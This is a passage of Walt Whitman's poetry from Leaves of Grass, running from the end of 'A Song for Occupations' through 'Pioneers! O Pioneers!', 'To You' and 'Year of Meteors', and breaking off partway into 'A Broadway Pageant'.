+ +I bring what you much need yet always have, +Not money, amours, dress, eating, erudition, but as good, +I send no agent or medium, offer no representative of value, but + offer the value itself. + +There is something that comes to one now and perpetually, +It is not what is printed, preach'd, discussed, it eludes discussion + and print, +It is not to be put in a book, it is not in this book, +It is for you whoever you are, it is no farther from you than your + hearing and sight are from you, +It is hinted by nearest, commonest, readiest, it is ever provoked by them. + +You may read in many languages, yet read nothing about it, +You may read the President's message and read nothing about it there, +Nothing in the reports from the State department or Treasury + department, or in the daily papers or weekly papers, +Or in the census or revenue returns, prices current, or any accounts + of stock. + + 3 +The sun and stars that float in the open air, +The apple-shaped earth and we upon it, surely the drift of them is + something grand, +I do not know what it is except that it is grand, and that it is happiness, +And that the enclosing purport of us here is not a speculation or + bon-mot or reconnoissance, +And that it is not something which by luck may turn out well for us, + and without luck must be a failure for us, +And not something which may yet be retracted in a certain contingency. + +The light and shade, the curious sense of body and identity, the + greed that with perfect complaisance devours all things, +The endless pride and outstretching of man, unspeakable joys and sorrows, +The wonder every one sees in every one else he sees, and the wonders + that fill each minute of time forever, +What have you reckon'd them for, camerado? +Have you reckon'd them for your trade or farm-work? or for the + profits of your store? +Or to achieve yourself a position? or to fill a gentleman's leisure, + or a lady's leisure? + +Have you reckon'd that the landscape took substance and form that it + might be painted in a picture? +Or men and women that they might be written of, and songs sung? +Or the attraction of gravity, and the great laws and harmonious combinations + and the fluids of the air, as subjects for the savans? +Or the brown land and the blue sea for maps and charts? +Or the stars to be put in constellations and named fancy names? +Or that the growth of seeds is for agricultural tables, or + agriculture itself? + +Old institutions, these arts, libraries, legends, collections, and + the practice handed along in manufactures, will we rate them so high? +Will we rate our cash and business high? I have no objection, +I rate them as high as the highest--then a child born of a woman and + man I rate beyond all rate. + +We thought our Union grand, and our Constitution grand, +I do not say they are not grand and good, for they are, +I am this day just as much in love with them as you, +Then I am in love with You, and with all my fellows upon the earth. + +We consider bibles and religions divine--I do not say they are not divine, +I say they have all grown out of you, and may grow out of you still, +It is not they who give the life, it is you who give the life, +Leaves are not more shed from the trees, or trees from the earth, + than they are shed out of you. + + 4 +The sum of all known reverence I add up in you whoever you are, +The President is there in the White House for you, it is not you who + are here for him, +The Secretaries act in their bureaus for you, not you here for them, +The Congress convenes every Twelfth-month for you, +Laws, courts, the forming of States, the charters of cities, the + going and coming of commerce and malls, are all for you. + +List close my scholars dear, +Doctrines, politics and civilization exurge from you, +Sculpture and monuments and any thing inscribed anywhere are tallied in you, +The gist of histories and statistics as far back as the records + reach is in you this hour, and myths and tales the same, +If you were not breathing and walking here, where would they all be? +The most renown'd poems would be ashes, orations and plays would + be vacuums. + +All architecture is what you do to it when you look upon it, +(Did you think it was in the white or gray stone? or the lines of + the arches and cornices?) + +All music is what awakes from you when you are reminded by the instruments, +It is not the violins and the cornets, it is not the oboe nor the + beating drums, nor the score of the baritone singer singing his + sweet romanza, nor that of the men's chorus, nor that of the + women's chorus, +It is nearer and farther than they. + + 5 +Will the whole come back then? +Can each see signs of the best by a look in the looking-glass? is + there nothing greater or more? +Does all sit there with you, with the mystic unseen soul? + +Strange and hard that paradox true I give, +Objects gross and the unseen soul are one. + +House-building, measuring, sawing the boards, +Blacksmithing, glass-blowing, nail-making, coopering, tin-roofing, + shingle-dressing, +Ship-joining, dock-building, fish-curing, flagging of sidewalks by flaggers, +The pump, the pile-driver, the great derrick, the coal-kiln and brickkiln, +Coal-mines and all that is down there, the lamps in the darkness, + echoes, songs, what meditations, what vast native thoughts + looking through smutch'd faces, +Iron-works, forge-fires in the mountains or by river-banks, men + around feeling the melt with huge crowbars, lumps of ore, the + due combining of ore, limestone, coal, +The blast-furnace and the puddling-furnace, the loup-lump at the + bottom of the melt at last, the rolling-mill, the stumpy bars + of pig-iron, the strong clean-shaped Trail for railroads, +Oil-works, silk-works, white-lead-works, the sugar-house, + steam-saws, the great mills and factories, +Stone-cutting, shapely trimmings for facades or window or door-lintels, + the mallet, the tooth-chisel, the jib to protect the thumb, +The calking-iron, the kettle of boiling vault-cement, and the fire + under the kettle, +The cotton-bale, the stevedore's hook, the saw and buck of the + sawyer, the mould of the moulder, the working-knife of the + butcher, the ice-saw, and all the work with ice, +The work and tools of the rigger, grappler, sail-maker, block-maker, +Goods of gutta-percha, papier-mache, colors, brushes, brush-making, + glazier's implements, +The veneer and glue-pot, the confectioner's ornaments, the decanter + and glasses, the shears and flat-iron, +The awl and knee-strap, the pint measure and quart measure, the + counter and stool, the writing-pen of quill or metal, the making + of all sorts of edged tools, +The brewery, brewing, the malt, the vats, every thing that is done + by brewers, wine-makers, vinegar-makers, +Leather-dressing, coach-making, boiler-making, rope-twisting, + distilling, sign-painting, lime-burning, cotton-picking, + electroplating, electrotyping, stereotyping, +Stave-machines, planing-machines, reaping-machines, + ploughing-machines, thrashing-machines, steam wagons, +The cart of the carman, the omnibus, the ponderous dray, +Pyrotechny, letting off color'd fireworks at night, fancy figures and jets; +Beef on the butcher's stall, the slaughter-house of the butcher, the + butcher in his killing-clothes, +The pens of live pork, the killing-hammer, the hog-hook, the + scalder's tub, gutting, the cutter's cleaver, the packer's maul, + and the plenteous winterwork of pork-packing, +Flour-works, grinding of wheat, rye, maize, rice, the barrels and + the half and quarter barrels, the loaded barges, the high piles + on wharves and levees, +The men and the work of the men on ferries, railroads, coasters, + fish-boats, canals; +The hourly routine of your own or any man's life, the shop, yard, + store, or factory, +These shows all near you by day and night--workman! whoever you + are, your daily life! + +In that and them the heft of the heaviest--in that and them far more + than you estimated, (and far less also,) +In them realities for you and me, in them poems for you and me, +In them, not yourself-you and your soul enclose all things, + regardless of estimation, +In them the development good--in them all themes, hints, possibilities. + +I do not affirm that what you see beyond is futile, I do not advise + you to stop, +I do not say leadings you thought great are not great, +But I say that none lead to greater than these lead to. + + 6 +Will you seek afar off? you surely come back at last, +In things best known to you finding the best, or as good as the best, +In folks nearest to you finding the sweetest, strongest, lovingest, +Happiness, knowledge, not in another place but this place, not for + another hour but this hour, +Man in the first you see or touch, always in friend, brother, + nighest neighbor--woman in mother, sister, wife, +The popular tastes and employments taking precedence in poems or anywhere, +You workwomen and workmen of these States having your own divine + and strong life, +And all else giving place to men and women like you. +When the psalm sings instead of the singer, + +When the script preaches instead of the preacher, +When the pulpit descends and goes instead of the carver that carved + the supporting desk, +When I can touch the body of books by night or by day, and when they + touch my body back again, +When a university course convinces like a slumbering woman and child + convince, +When the minted gold in the vault smiles like the night-watchman's daughter, +When warrantee deeds loafe in chairs opposite and are my friendly + companions, +I intend to reach them my hand, and make as much of them as I do + of men and women like you. + + + +[BOOK XVI] + +} A Song of the Rolling Earth + + 1 +A song of the rolling earth, and of words according, +Were you thinking that those were the words, those upright lines? + those curves, angles, dots? +No, those are not the words, the substantial words are in the ground + and sea, +They are in the air, they are in you. + +Were you thinking that those were the words, those delicious sounds + out of your friends' mouths? +No, the real words are more delicious than they. + +Human bodies are words, myriads of words, +(In the best poems re-appears the body, man's or woman's, + well-shaped, natural, gay, +Every part able, active, receptive, without shame or the need of shame.) + +Air, soil, water, fire--those are words, +I myself am a word with them--my qualities interpenetrate with + theirs--my name is nothing to them, +Though it were told in the three thousand languages, what would + air, soil, water, fire, know of my name? + +A healthy presence, a friendly or commanding gesture, are words, + sayings, meanings, +The charms that go with the mere looks of some men and women, + are sayings and meanings also. + +The workmanship of souls is by those inaudible words of the earth, +The masters know the earth's words and use them more than audible words. + +Amelioration is one of the earth's words, +The earth neither lags nor hastens, +It has all attributes, growths, effects, latent in itself from the jump, +It is not half beautiful only, defects and excrescences show just as + much as perfections show. + +The earth does not withhold, it is generous enough, +The truths of the earth continually wait, they are not so conceal'd either, +They are calm, subtle, untransmissible by print, +They are imbued through all things conveying themselves willingly, +Conveying a sentiment and invitation, I utter and utter, +I speak not, yet if you hear me not of what avail am I to you? +To bear, to better, lacking these of what avail am I? + +(Accouche! accouchez! +Will you rot your own fruit in yourself there? +Will you squat and stifle there?) + +The earth does not argue, +Is not pathetic, has no arrangements, +Does not scream, haste, persuade, threaten, promise, +Makes no discriminations, has no conceivable failures, +Closes nothing, refuses nothing, shuts none out, +Of all the powers, objects, states, it notifies, shuts none out. + +The earth does not exhibit itself nor refuse to exhibit itself, + possesses still underneath, +Underneath the ostensible sounds, the august chorus of heroes, the + wail of slaves, +Persuasions of lovers, curses, gasps of the dying, laughter of young + people, accents of bargainers, +Underneath these possessing words that never fall. + +To her children the words of the eloquent dumb great mother never fail, +The true words do not fail, for motion does not fail and reflection + does not fall, +Also the day and night do not fall, and the voyage we pursue does not fall. + +Of the interminable sisters, +Of the ceaseless cotillons of sisters, +Of the centripetal and centrifugal sisters, the elder and younger sisters, +The beautiful sister we know dances on with the rest. + +With her ample back towards every beholder, +With the fascinations of youth and the equal fascinations of age, +Sits she whom I too love like the rest, sits undisturb'd, +Holding up in her hand what has the character of a mirror, while her + eyes glance back from it, +Glance as she sits, inviting none, denying none, +Holding a mirror day and night tirelessly before her own face. + +Seen at hand or seen at a distance, +Duly the twenty-four appear in public every day, +Duly approach and pass with their companions or a companion, +Looking from no countenances of their own, but from the countenances + of those who are with them, +From the countenances of children or women or the manly countenance, +From the open countenances of animals or from inanimate things, +From the landscape or waters or from the exquisite apparition of the sky, +From our countenances, mine and yours, faithfully returning them, +Every day in public appearing without fall, but never twice with the + same companions. + +Embracing man, embracing all, proceed the three hundred and + sixty-five resistlessly round the sun; +Embracing all, soothing, supporting, follow close three hundred and + sixty-five offsets of the first, sure and necessary as they. + +Tumbling on steadily, nothing dreading, +Sunshine, storm, cold, heat, forever withstanding, passing, carrying, +The soul's realization and determination still inheriting, +The fluid vacuum around and ahead still entering and dividing, +No balk retarding, no anchor anchoring, on no rock striking, +Swift, glad, content, unbereav'd, nothing losing, +Of all able and ready at any time to give strict account, +The divine ship sails the divine sea. + + 2 +Whoever you are! motion and reflection are especially for you, +The divine ship sails the divine sea for you. + +Whoever you are! you are he or she for whom the earth is solid and liquid, +You are he or she for whom the sun and moon hang in the sky, +For none more than you are the present and the past, +For none more than you is immortality. + +Each man to himself and each woman to herself, is the word of the + past and present, and the true word of immortality; +No one can acquire for another--not one, +Not one can grow for another--not one. + +The song is to the singer, and comes back most to him, +The teaching is to the teacher, and comes back most to him, +The murder is to the murderer, and comes back most to him, +The theft is to the thief, and comes back most to him, +The love is to the lover, and comes back most to him, +The gift is to the giver, and comes back most to him--it cannot fail, +The oration is to the orator, the acting is to the actor and actress + not to the audience, +And no man understands any greatness or goodness but his own, or + the indication of his own. + + 3 +I swear the earth shall surely be complete to him or her who shall + be complete, +The earth remains jagged and broken only to him or her who remains + jagged and broken. + +I swear there is no greatness or power that does not emulate those + of the earth, +There can be no theory of any account unless it corroborate the + theory of the earth, +No politics, song, religion, behavior, or what not, is of account, + unless it compare with the amplitude of the earth, +Unless it face the exactness, vitality, impartiality, rectitude of + the earth. + +I swear I begin to see love with sweeter spasms than that which + responds love, +It is that which contains itself, which never invites and never refuses. + +I swear I begin to see little or nothing in audible words, +All merges toward the presentation of the unspoken meanings of the earth, +Toward him who sings the songs of the body and of the truths of the earth, +Toward him who makes the dictionaries of words that print cannot touch. + +I swear I see what is better than to tell the best, +It is always to leave the best untold. + +When I undertake to tell the best I find I cannot, +My tongue is ineffectual on its pivots, +My breath will not be obedient to its organs, +I become a dumb man. + +The best of the earth cannot be told anyhow, all or any is best, +It is not what you anticipated, it is cheaper, easier, nearer, +Things are not dismiss'd from the places they held before, +The earth is just as positive and direct as it was before, +Facts, religions, improvements, politics, trades, are as real as before, +But the soul is also real, it too is positive and direct, +No reasoning, no proof has establish'd it, +Undeniable growth has establish'd it. + + 4 +These to echo the tones of souls and the phrases of souls, +(If they did not echo the phrases of souls what were they then? +If they had not reference to you in especial what were they then?) + +I swear I will never henceforth have to do with the faith that tells + the best, +I will have to do only with that faith that leaves the best untold. + +Say on, sayers! sing on, singers! +Delve! mould! pile the words of the earth! +Work on, age after age, nothing is to be lost, +It may have to wait long, but it will certainly come in use, +When the materials are all prepared and ready, the architects shall appear. + +I swear to you the architects shall appear without fall, +I swear to you they will understand you and justify you, +The greatest among them shall be he who best knows you, and encloses + all and is faithful to all, +He and the rest shall not forget you, they shall perceive that you + are not an iota less than they, +You shall be fully glorified in them. + + + +} Youth, Day, Old Age and Night + +Youth, large, lusty, loving--youth full of grace, force, fascination, +Do you know that Old Age may come after you with equal grace, + force, fascination? + +Day full-blown and splendid-day of the immense sun, action, + ambition, laughter, +The Night follows close with millions of suns, and sleep and + restoring darkness. + + + +[BOOK XVII. BIRDS OF PASSAGE] + +} Song of the Universal + + 1 +Come said the Muse, +Sing me a song no poet yet has chanted, +Sing me the universal. + +In this broad earth of ours, +Amid the measureless grossness and the slag, +Enclosed and safe within its central heart, +Nestles the seed perfection. + +By every life a share or more or less, +None born but it is born, conceal'd or unconceal'd the seed is waiting. + + 2 +Lo! keen-eyed towering science, +As from tall peaks the modern overlooking, +Successive absolute fiats issuing. + +Yet again, lo! the soul, above all science, +For it has history gather'd like husks around the globe, +For it the entire star-myriads roll through the sky. + +In spiral routes by long detours, +(As a much-tacking ship upon the sea,) +For it the partial to the permanent flowing, +For it the real to the ideal tends. + +For it the mystic evolution, +Not the right only justified, what we call evil also justified. + +Forth from their masks, no matter what, +From the huge festering trunk, from craft and guile and tears, +Health to emerge and joy, joy universal. + +Out of the bulk, the morbid and the shallow, +Out of the bad majority, the varied countless frauds of men and states, +Electric, antiseptic yet, cleaving, suffusing all, +Only the good is universal. + + 3 +Over the mountain-growths disease and sorrow, +An uncaught bird is ever hovering, hovering, +High in the purer, happier air. + +From imperfection's murkiest cloud, +Darts always forth one ray of perfect light, +One flash of heaven's glory. + +To fashion's, custom's discord, +To the mad Babel-din, the deafening orgies, +Soothing each lull a strain is heard, just heard, +From some far shore the final chorus sounding. + +O the blest eyes, the happy hearts, +That see, that know the guiding thread so fine, +Along the mighty labyrinth. + + 4 +And thou America, +For the scheme's culmination, its thought and its reality, +For these (not for thyself) thou hast arrived. + +Thou too surroundest all, +Embracing carrying welcoming all, thou too by pathways broad and new, +To the ideal tendest. + +The measure'd faiths of other lands, the grandeurs of the past, +Are not for thee, but grandeurs of thine own, +Deific faiths and amplitudes, absorbing, comprehending all, +All eligible to all. + +All, all for immortality, +Love like the light silently wrapping all, +Nature's amelioration blessing all, +The blossoms, fruits of ages, orchards divine and certain, +Forms, objects, growths, humanities, to spiritual images ripening. + +Give me O God to sing that thought, +Give me, give him or her I love this quenchless faith, +In Thy ensemble, whatever else withheld withhold not from us, +Belief in plan of Thee enclosed in Time and Space, +Health, peace, salvation universal. + +Is it a dream? +Nay but the lack of it the dream, +And failing it life's lore and wealth a dream, +And all the world a dream. + + + +} Pioneers! O Pioneers! + + Come my tan-faced children, +Follow well in order, get your weapons ready, +Have you your pistols? have you your sharp-edged axes? + Pioneers! O pioneers! + + For we cannot tarry here, +We must march my darlings, we must bear the brunt of danger, +We the youthful sinewy races, all the rest on us depend, + Pioneers! O pioneers! + + O you youths, Western youths, +So impatient, full of action, full of manly pride and friendship, +Plain I see you Western youths, see you tramping with the foremost, + Pioneers! O pioneers! + + Have the elder races halted? +Do they droop and end their lesson, wearied over there beyond the seas? +We take up the task eternal, and the burden and the lesson, + Pioneers! O pioneers! + + All the past we leave behind, +We debouch upon a newer mightier world, varied world, +Fresh and strong the world we seize, world of labor and the march, + Pioneers! O pioneers! + + We detachments steady throwing, +Down the edges, through the passes, up the mountains steep, +Conquering, holding, daring, venturing as we go the unknown ways, + Pioneers! O pioneers! + + We primeval forests felling, +We the rivers stemming, vexing we and piercing deep the mines within, +We the surface broad surveying, we the virgin soil upheaving, + Pioneers! O pioneers! + + Colorado men are we, +From the peaks gigantic, from the great sierras and the high plateaus, +From the mine and from the gully, from the hunting trail we come, + Pioneers! O pioneers! + + From Nebraska, from Arkansas, +Central inland race are we, from Missouri, with the continental + blood intervein'd, +All the hands of comrades clasping, all the Southern, all the Northern, + Pioneers! O pioneers! + + O resistless restless race! +O beloved race in all! O my breast aches with tender love for all! +O I mourn and yet exult, I am rapt with love for all, + Pioneers! O pioneers! + + Raise the mighty mother mistress, +Waving high the delicate mistress, over all the starry mistress, + (bend your heads all,) +Raise the fang'd and warlike mistress, stern, impassive, weapon'd mistress, + Pioneers! O pioneers! + + See my children, resolute children, +By those swarms upon our rear we must never yield or falter, +Ages back in ghostly millions frowning there behind us urging, + Pioneers! O pioneers! + + On and on the compact ranks, +With accessions ever waiting, with the places of the dead quickly fill'd, +Through the battle, through defeat, moving yet and never stopping, + Pioneers! O pioneers! + + O to die advancing on! +Are there some of us to droop and die? has the hour come? +Then upon the march we fittest die, soon and sure the gap is fill'd. + Pioneers! O pioneers! + + All the pulses of the world, +Falling in they beat for us, with the Western movement beat, +Holding single or together, steady moving to the front, all for us, + Pioneers! O pioneers! + + Life's involv'd and varied pageants, +All the forms and shows, all the workmen at their work, +All the seamen and the landsmen, all the masters with their slaves, + Pioneers! O pioneers! + + All the hapless silent lovers, +All the prisoners in the prisons, all the righteous and the wicked, +All the joyous, all the sorrowing, all the living, all the dying, + Pioneers! O pioneers! + + I too with my soul and body, +We, a curious trio, picking, wandering on our way, +Through these shores amid the shadows, with the apparitions pressing, + Pioneers! O pioneers! + + Lo, the darting bowling orb! +Lo, the brother orbs around, all the clustering suns and planets, +All the dazzling days, all the mystic nights with dreams, + Pioneers! O pioneers! + + These are of us, they are with us, +All for primal needed work, while the followers there in embryo wait behind, +We to-day's procession heading, we the route for travel clearing, + Pioneers! O pioneers! + +O you daughters of the West! +O you young and elder daughters! O you mothers and you wives! +Never must you be divided, in our ranks you move united, + Pioneers! O pioneers! + + Minstrels latent on the prairies! +(Shrouded bards of other lands, you may rest, you have done your work,) +Soon I hear you coming warbling, soon you rise and tramp amid us, + Pioneers! O pioneers! + + Not for delectations sweet, +Not the cushion and the slipper, not the peaceful and the studious, +Not the riches safe and palling, not for us the tame enjoyment, + Pioneers! O pioneers! + + Do the feasters gluttonous feast? +Do the corpulent sleepers sleep? have they lock'd and bolted doors? +Still be ours the diet hard, and the blanket on the ground, + Pioneers! O pioneers! + + Has the night descended? +Was the road of late so toilsome? did we stop discouraged nodding + on our way? +Yet a passing hour I yield you in your tracks to pause oblivious, + Pioneers! O pioneers! + + Till with sound of trumpet, +Far, far off the daybreak call--hark! how loud and clear I hear it wind, +Swift! to the head of the army!--swift! spring to your places, + Pioneers! O pioneers! + + + +} To You + +Whoever you are, I fear you are walking the walks of dreams, +I fear these supposed realities are to melt from under your feet and hands, +Even now your features, joys, speech, house, trade, manners, + troubles, follies, costume, crimes, dissipate away from you, +Your true soul and body appear before me. +They stand forth out of affairs, out of commerce, shops, work, + farms, clothes, the house, buying, selling, eating, drinking, + suffering, dying. + +Whoever you are, now I place my hand upon you, that you be my poem, +I whisper with my lips close to your ear. +I have loved many women and men, but I love none better than you. + +O I have been dilatory and dumb, +I should have made my way straight to you long ago, +I should have blabb'd nothing but you, I should have chanted nothing + but you. + +I will leave all and come and make the hymns of you, +None has understood you, but I understand you, +None has done justice to you, you have not done justice to yourself, +None but has found you imperfect, I only find no imperfection in you, +None but would subordinate you, I only am he who will never consent + to subordinate you, +I only am he who places over you no master, owner, better, God, + beyond what waits intrinsically in yourself. + +Painters have painted their swarming groups and the centre-figure of all, +From the head of the centre-figure spreading a nimbus of gold-color'd light, +But I paint myriads of heads, but paint no head without its nimbus + of gold-color'd light, +From my hand from the brain of every man and woman it streams, + effulgently flowing forever. + +O I could sing such grandeurs and glories about you! +You have not known what you are, you have slumber'd upon yourself + all your life, +Your eyelids have been the same as closed most of the time, +What you have done returns already in mockeries, +(Your thrift, knowledge, prayers, if they do not return in + mockeries, what is their return?) + +The mockeries are not you, +Underneath them and within them I see you lurk, +I pursue you where none else has pursued you, +Silence, the desk, the flippant expression, the night, the + accustom'd routine, if these conceal you from others or from + yourself, they do not conceal you from me, +The shaved face, the unsteady eye, the impure complexion, if these + balk others they do not balk me, +The pert apparel, the deform'd attitude, drunkenness, greed, + premature death, all these I part aside. + +There is no endowment in man or woman that is not tallied in you, +There is no virtue, no beauty in man or woman, but as good is in you, +No pluck, no endurance in others, but as good is in you, +No pleasure waiting for others, but an equal pleasure waits for you. + +As for me, I give nothing to any one except I give the like carefully + to you, +I sing the songs of the glory of none, not God, sooner than I sing + the songs of the glory of you. + +Whoever you are! claim your own at any hazard! +These shows of the East and West are tame compared to you, +These immense meadows, these interminable rivers, you are immense + and interminable as they, +These furies, elements, storms, motions of Nature, throes of apparent + dissolution, you are he or she who is master or mistress over them, +Master or mistress in your own right over Nature, elements, pain, + passion, dissolution. + +The hopples fall from your ankles, you find an unfailing sufficiency, +Old or young, male or female, rude, low, rejected by the rest, + whatever you are promulges itself, +Through birth, life, death, burial, the means are provided, nothing + is scanted, +Through angers, losses, ambition, ignorance, ennui, what you are + picks its way. + + + +} France [the 18th Year of these States] + +A great year and place +A harsh discordant natal scream out-sounding, to touch the mother's + heart closer than any yet. + +I walk'd the shores of my Eastern sea, +Heard over the waves the little voice, +Saw the divine infant where she woke mournfully wailing, amid the + roar of cannon, curses, shouts, crash of falling buildings, +Was not so sick from the blood in the gutters running, nor from the single + corpses, nor those in heaps, nor those borne away in the tumbrils, +Was not so desperate at the battues of death--was not so shock'd at + the repeated fusillades of the guns. + +Pale, silent, stern, what could I say to that long-accrued retribution? +Could I wish humanity different? +Could I wish the people made of wood and stone? +Or that there be no justice in destiny or time? + +O Liberty! O mate for me! +Here too the blaze, the grape-shot and the axe, in reserve, to fetch + them out in case of need, +Here too, though long represt, can never be destroy'd, +Here too could rise at last murdering and ecstatic, +Here too demanding full arrears of vengeance. + +Hence I sign this salute over the sea, +And I do not deny that terrible red birth and baptism, +But remember the little voice that I heard wailing, and wait with + perfect trust, no matter how long, +And from to-day sad and cogent I maintain the bequeath'd cause, as + for all lands, +And I send these words to Paris with my love, +And I guess some chansonniers there will understand them, +For I guess there is latent music yet in France, floods of it, +O I hear already the bustle of instruments, they will soon be + drowning all that would interrupt them, +O I think the east wind brings a triumphal and free march, +It reaches hither, it swells me to Joyful madness, +I will run transpose it in words, to justify +I will yet sing a song for you ma femme. + + + +} Myself and Mine + +Myself and mine gymnastic ever, +To stand the cold or heat, to take good aim with a gun, to sail a + boat, to manage horses, to beget superb children, +To speak readily and clearly, to feel at home among common people, +And to hold our own in terrible positions on land and sea. + +Not for an embroiderer, +(There will always be plenty of embroiderers, I welcome them also,) +But for the fibre of things and for inherent men and women. + +Not to chisel ornaments, +But to chisel with free stroke the heads and limbs of plenteous + supreme Gods, that the States may realize them walking and talking. + +Let me have my own way, +Let others promulge the laws, I will make no account of the laws, +Let others praise eminent men and hold up peace, I hold up agitation + and conflict, +I praise no eminent man, I rebuke to his face the one that was + thought most worthy. + +(Who are you? and what are you secretly guilty of all your life? +Will you turn aside all your life? will you grub and chatter all + your life? +And who are you, blabbing by rote, years, pages, languages, reminiscences, +Unwitting to-day that you do not know how to speak properly a single word?) + +Let others finish specimens, I never finish specimens, +I start them by exhaustless laws as Nature does, fresh and modern + continually. + +I give nothing as duties, +What others give as duties I give as living impulses, +(Shall I give the heart's action as a duty?) + +Let others dispose of questions, I dispose of nothing, I arouse + unanswerable questions, +Who are they I see and touch, and what about them? +What about these likes of myself that draw me so close by tender + directions and indirections? + +I call to the world to distrust the accounts of my friends, but + listen to my enemies, as I myself do, +I charge you forever reject those who would expound me, for I cannot + expound myself, +I charge that there be no theory or school founded out of me, +I charge you to leave all free, as I have left all free. + +After me, vista! +O I see life is not short, but immeasurably long, +I henceforth tread the world chaste, temperate, an early riser, a + steady grower, +Every hour the semen of centuries, and still of centuries. + +I must follow up these continual lessons of the air, water, earth, +I perceive I have no time to lose. + + + +} Year of Meteors [1859-60] + +Year of meteors! brooding year! +I would bind in words retrospective some of your deeds and signs, +I would sing your contest for the 19th Presidentiad, +I would sing how an old man, tall, with white hair, mounted the + scaffold in Virginia, +(I was at hand, silent I stood with teeth shut close, I watch'd, +I stood very near you old man when cool and indifferent, but trembling + with age and your unheal'd wounds you mounted the scaffold;) +I would sing in my copious song your census returns of the States, +The tables of population and products, I would sing of your ships + and their cargoes, +The proud black ships of Manhattan arriving, some fill'd with + immigrants, some from the isthmus with cargoes of gold, +Songs thereof would I sing, to all that hitherward comes would welcome give, +And you would I sing, fair stripling! welcome to you from me, young + prince of England! +(Remember you surging Manhattan's crowds as you pass'd with your + cortege of nobles? +There in the crowds stood I, and singled you out with attachment;) +Nor forget I to sing of the wonder, the ship as she swam up my bay, +Well-shaped and stately the Great Eastern swam up my bay, she was + 600 feet long, +Her moving swiftly surrounded by myriads of small craft I forget not + to sing; +Nor the comet that came unannounced out of the north flaring in heaven, +Nor the strange huge meteor-procession dazzling and clear shooting + over our heads, +(A moment, a moment long it sail'd its balls of unearthly light over + our heads, +Then departed, dropt in the night, and was gone;) +Of such, and fitful as they, I sing--with gleams from them would + gleam and patch these chants, +Your chants, O year all mottled with evil and good--year of forebodings! +Year of comets and meteors transient and strange--lo! even here one + equally transient and strange! +As I flit through you hastily, soon to fall and be gone, what is this chant, +What am I myself but one of your meteors? + + + +} With Antecedents + + 1 +With antecedents, +With my fathers and mothers and the accumulations of past ages, +With all which, had it not been, I would not now be here, as I am, +With Egypt, India, Phenicia, Greece and Rome, +With the Kelt, the Scandinavian, the Alb and the Saxon, +With antique maritime ventures, laws, artisanship, wars and journeys, +With the poet, the skald, the saga, the myth, and the oracle, +With the sale of slaves, with enthusiasts, with the troubadour, the + crusader, and the monk, +With those old continents whence we have come to this new continent, +With the fading kingdoms and kings over there, +With the fading religions and priests, +With the small shores we look back to from our own large and present shores, +With countless years drawing themselves onward and arrived at these years, +You and me arrived--America arrived and making this year, +This year! sending itself ahead countless years to come. + + 2 +O but it is not the years--it is I, it is You, +We touch all laws and tally all antecedents, +We are the skald, the oracle, the monk and the knight, we easily + include them and more, +We stand amid time beginningless and endless, we stand amid evil and good, +All swings around us, there is as much darkness as light, +The very sun swings itself and its system of planets around us, +Its sun, and its again, all swing around us. + +As for me, (torn, stormy, amid these vehement days,) +I have the idea of all, and am all and believe in all, +I believe materialism is true and spiritualism is true, I reject no part. + +(Have I forgotten any part? any thing in the past? +Come to me whoever and whatever, till I give you recognition.) + +I respect Assyria, China, Teutonia, and the Hebrews, +I adopt each theory, myth, god, and demigod, +I see that the old accounts, bibles, genealogies, are true, without + exception, +I assert that all past days were what they must have been, +And that they could no-how have been better than they were, +And that to-day is what it must be, and that America is, +And that to-day and America could no-how be better than they are. + + 3 +In the name of these States and in your and my name, the Past, +And in the name of these States and in your and my name, the Present time. + +I know that the past was great and the future will be great, +And I know that both curiously conjoint in the present time, +(For the sake of him I typify, for the common average man's sake, + your sake if you are he,) +And that where I am or you are this present day, there is the centre + of all days, all races, +And there is the meaning to us of all that has ever come of races + and days, or ever will come. + + + +[BOOK XVIII] + +} A Broadway Pageant + + 1 +Over the Western sea hither from Niphon come, +Courteous, the swart-cheek'd two-sworded envoys, +Leaning back in their open barouches, bare-headed, impassive, +Ride to-day through Manhattan. + +Libertad! I do not know whether others behold what I behold, +In the procession along with the nobles of Niphon, the errand-bearers, +Bringing up the rear, hovering above, around, or in the ranks marching, +But I will sing you a song of what I behold Libertad. + +When million-footed Manhattan unpent descends to her pavements, +When the thunder-cracking guns arouse me with the proud roar love, +When the round-mouth'd guns out of the smoke and smell I love + spit their salutes, +When the fire-flashing guns have fully alerted me, and + heaven-clouds canopy my city with a delicate thin haze, +When gorgeous the countless straight stems, the forests at the + wharves, thicken with colors, +When every ship richly drest carries her flag at the peak, +When pennants trail and street-festoons hang from the windows, +When Broadway is entirely given up to foot-passengers and + foot-standers, when the mass is densest, +When the facades of the houses are alive with people, when eyes + gaze riveted tens of thousands at a time, +When the guests from the islands advance, when the pageant moves + forward visible, +When the summons is made, when the answer that waited thousands + of years answers, +I too arising, answering, descend to the pavements, merge with the + crowd, and gaze with them. + + 2 +Superb-faced Manhattan! +Comrade Americanos! to us, then at last the Orient comes. +To us, my city, +Where our tall-topt marble and iron beauties range on opposite + sides, to walk in the space between, +To-day our Antipodes comes. + +The Originatress comes, +The nest of languages, the bequeather of poems, the race of eld, +Florid with blood, pensive, rapt with musings, hot with passion, +Sultry with perfume, with ample and flowing garments, +With sunburnt visage, with intense soul and glittering eyes, +The race of Brahma comes. + +See my cantabile! these and more are flashing to us from the procession, +As it moves changing, a kaleidoscope divine it moves changing before us. + + +For not the envoys nor the tann'd Japanee from his island only, +Lithe and silent the Hindoo appears, the Asiatic continent itself + appears, the past, the dead, +The murky night-morning of wonder and fable inscrutable, +The envelop'd mysteries, the old and unknown hive-bees, +The north, the sweltering south, eastern Assyria, the Hebrews, the + ancient of ancients, +Vast desolated cities, the gliding present, all of these and more + are in the pageant-procession. + +Geography, the world, is in it, +The Great Sea, the brood of islands, Polynesia, the coast beyond, +The coast you henceforth are facing--you Libertad! from your Western + golden shores, +The countries there with their populations, the millions en-masse + are curiously here, +The swarming market-places, the temples with idols ranged along the + sides or at the end, bonze, brahmin, and llama, +Mandarin, farmer, merchant, mechanic, and fisherman, +The singing-girl and the dancing-girl, the ecstatic persons, the + secluded emperors, +Confucius himself, the great poets and heroes, the warriors, the castes, + all, +Trooping up, crowding from all directions, from the Altay mountains, +From Thibet, from the four winding and far-flowing rivers of China, +From the southern peninsulas and the demi-continental islands, from + Malaysia, +These and whatever belongs to them palpable show forth to me, and + are seiz'd by me, +And I am seiz'd by them, and friendlily held by them, +Till as here them all I chant, Libertad! for themselves and for you. + +For I too raising my voice join the ranks of this pageant, +I am the chanter, I chant aloud over the pageant, +I chant the world on my Western sea, +I chant copious the islands beyond, thick as stars in the sky, +I chant the new empire grander than any before, as in a vision it + comes to me, +I chant America the mistress, I chant a 